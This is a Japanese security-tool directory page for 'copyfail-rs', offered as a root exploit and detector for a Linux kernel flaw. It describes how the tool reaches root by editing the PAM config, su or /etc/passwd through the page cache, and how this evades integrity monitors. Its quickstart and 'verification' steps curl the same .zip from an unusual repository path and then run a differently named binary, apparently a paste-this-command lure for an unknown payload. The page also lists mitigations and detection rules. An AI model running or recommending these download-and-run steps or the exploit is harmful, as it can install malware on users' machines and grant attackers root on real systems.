Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
copyfail-rs — CVE-2026-31431 の脆弱性を、システムの整合性を監視し PAM 認証をバイパスする静的バイナリを使用して悪用・検出します。 | Kitploit
ツール/GitHubGitHub/liverwortenuresis371/copyfail-rs
特権昇格メモリフォレンジック脆弱性分析エクスプロイトフォレンジックペネトレーションテスト認証レッドチーミングインシデントレスポンスバイナリエクスプロイト
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

51日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 の脆弱性を、システムの整合性を監視し PAM 認証をバイパスする静的バイナリを使用して悪用・検出します。

リポジトリを見る

copyfail-rs

CVE-2026-31431(CopyFail)向けマルチベクターPoC + ペアの検出機能。 他の公開PoCにはない、新しいPAM認証バイパスベクターを搭載。 検出モードは、AIDE / Wazuh / OSSEC / Tripwireが構造的に検出できないものを捕捉します。

単一の静的バイナリ。約108 KB。no_std musl。

デモ

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

ワンコマンド。ルートシェル。内部ではPAMへの致命的一撃(/etc/pam.d/common-authへの4バイト書き込み)を実行し、パスワードを使い捨てにするsudo経由でPTYからrootにドロップします。[sudo] password for noot:の行は一瞬表示されますが、sudoは常にこのプロンプトを出力します。バイナリはそこに任意の文字列を渡し、pam_unixの失敗がコメントアウトされたpam_deny.soを経由してpam_permit.soへとカスケードし、rootに到達します。

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← what's actually loaded (mutated)
    disk:   117dab1c...  ← what AIDE / Wazuh / Tripwire see (clean)

それがこのプロジェクトです。ディスクはクリーン、キャッシュは改変済み。公開されているFIMはすべて盲目です。このツールは違います。

クイックスタート(ビルド不要)

ビルド済みの静的バイナリはv0.1.0 リリースにあります。アーキテクチャを選んでダウンロードし、実行するだけです。

root@kitploit:~
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

他のアーキテクチャ:

アーキテクチャファイル
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

整合性の検証:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

静的muslバイナリ、ランタイム依存なし、あらゆるLinuxにそのまま展開可能。

FIMが盲目な理由

ページキャッシュの改変。VFS書き込みなし。ダーティページなし。inotifyイベントなし。定期的な再スキャンはページのエビクション(追い出し)と競争します。

AIDE/Wazuh/OSSEC/Tripwire/Samhainはバッファ付きI/O → ページキャッシュ経由で読み取り、改変されたバイト列を真実としてハッシュ化します。あるいはエビクション後はクリーンなディスクをハッシュ化し、「変更など一切なかった」と判定します。

検出にはO_DIRECT(キャッシュ回避)+ バッファ付き読み取り(キャッシュヒット)+ ハッシュ差分が必要です。不一致 = CopyFailのシグネチャ。それが--scanです。

ベクター

自動選択: --vector auto(デフォルト)。ステルス性の高い順にpam > su > passwdを選択します。失敗時にはフォールバックします。

検出

すべてのモードで--jsonに対応し、SIEMへ取り込めます。

検出アーティファクト

detection/:

  • sigma/copyfail-af-alg.yml、Sigmaルール。SIEMにそのまま投入可能
  • auditd/copyfail.rules、augenrules --load
  • ebpf/copyfail-trace.bt、bpftraceワンライナー
  • apparmor/copyfail-block.profile、AppArmor 3.0+拒否ルール
  • mitigation/disable-algif.sh、modprobeブラックリスト + =y警告

緩和策

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

またはカーネル本流の修正a664bf3d603d(2026年4月)を使用します。現時点で修正を出荷しているのはDebian Sid/Forkyのみです。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracleはすべて脆弱です。

注意点: CONFIG_CRYPTO_USER_API_AEAD=y(組み込み)の場合、modprobeを静かにバイパスします。--checkが警告を出します。

エクスプロイト実行後に緩和策を適用した場合: キャッシュの改変は再起動まで持続します。緩和策は新しいエクスプロイトを防ぐだけで、過去の被害は元に戻せません。

ビルド

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
ターゲットサイズ
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std。アロケータなし。ランタイム依存なし。単一の静的バイナリ。

ビルド済みアーティファクトとSHA256サムはGitHubリリースに添付されています。

使い方

各モード(exploit auto/list/all、detect check/scan/baseline/diff/watch/hunt)の具体的な1画面分の例はdocs/usage.mdを参照してください。

このREADMEのより長文のナラティブ版(より多くの文脈、より深い解説)はBLOG.mdを参照してください。

脅威モデル

docs/threat-model.mdを参照してください。

比較

認可と倫理

自分のハードウェアのみを対象とします。CLIゲートなし(見せかけのセキュリティ)。README + LICENSEが枠組みです。

検出モードは読み取り専用です。本番環境でも安全です。

エクスプロイトモードはカーネルのページキャッシュを改変します。RAM上のみの変更ですが、破壊的とみなしてください。以降のすべての認証要求をブロックします。

クレジット

CVE-2026-31431は2026-04-29にTheori / Xintによって公開されました(解説、Xintブログ)。以前の公開PoC:

  • theori-io/copy-fail-CVE-2026-31431(Python、732バイト、suベクター)
  • tgies/copy-fail-c(nolibc付きC、su + passwdベクター、移植可能)
  • badsectorlabs/copyfail-go(静的Goバイナリ、suベクター)

このプロジェクト(copyfail-rs): PAM認証バイパスベクター、デュアルモード検出、IRアーティファクトを追加。

ライセンス

MIT。

参考リンク

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Linux修正: a664bf3d603d
  • 下限: 72548b093ee3(4.14、2017年8月)
  • 類似: Dirty Pipe(CVE-2022-0847)
ツールをダウンロード
ベクターターゲット書き込み先
pam(新規)/etc/pam.d/common-auth(Debian/Ubuntu)またはsystem-auth(Fedora/RHEL/Arch)4バイト。auth requisite pam_deny.so → #aut requisite pam_deny.so。任意のパスワードでsudo = root。
su/usr/bin/susetuidバイナリのテキストを改変。execve → root。
passwd/etc/passwdUID反転 → 次回ログイン時にそのユーザーがrootになります。そのユーザーのSSHは機能しなくなります。
モード内容
--checkカーネル + モジュール + CONFIG_CRYPTO_USER_API_AEAD + 緩和策の状態。判定: 脆弱 / 緩和済み / 安全。
--scan重要ファイルに対するO_DIRECTとバッファ付き読み取りの差分。statfs()で分岐: ext4/xfs/btrfsはO_DIRECTを使用、overlayfsはフォールバック、tmpfsはスキップ。
--baseline / --diff既知のクリーンな状態をスナップショット。後で差分を取ります。キャッシュのみの差分 = CopyFailのフィンガープリント。
--watchデーモンとして動作。定期的にスキャン。SIGTERMでクリーン終了。
--huntSSHフリート全体をスイープ。結果はJSONに集約。
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
ベクターsusu + passwdsusu + passwd + PAM(新規)
検出なしなしなし完全な --mode detect
IRアーティファクトなしなしなしSigma + auditd + eBPF + AppArmor
運用UX3コマンド4コマンド5コマンド1コマンド
バイナリPythonが必要約10 KB約5 MB約108 KBの静的バイナリ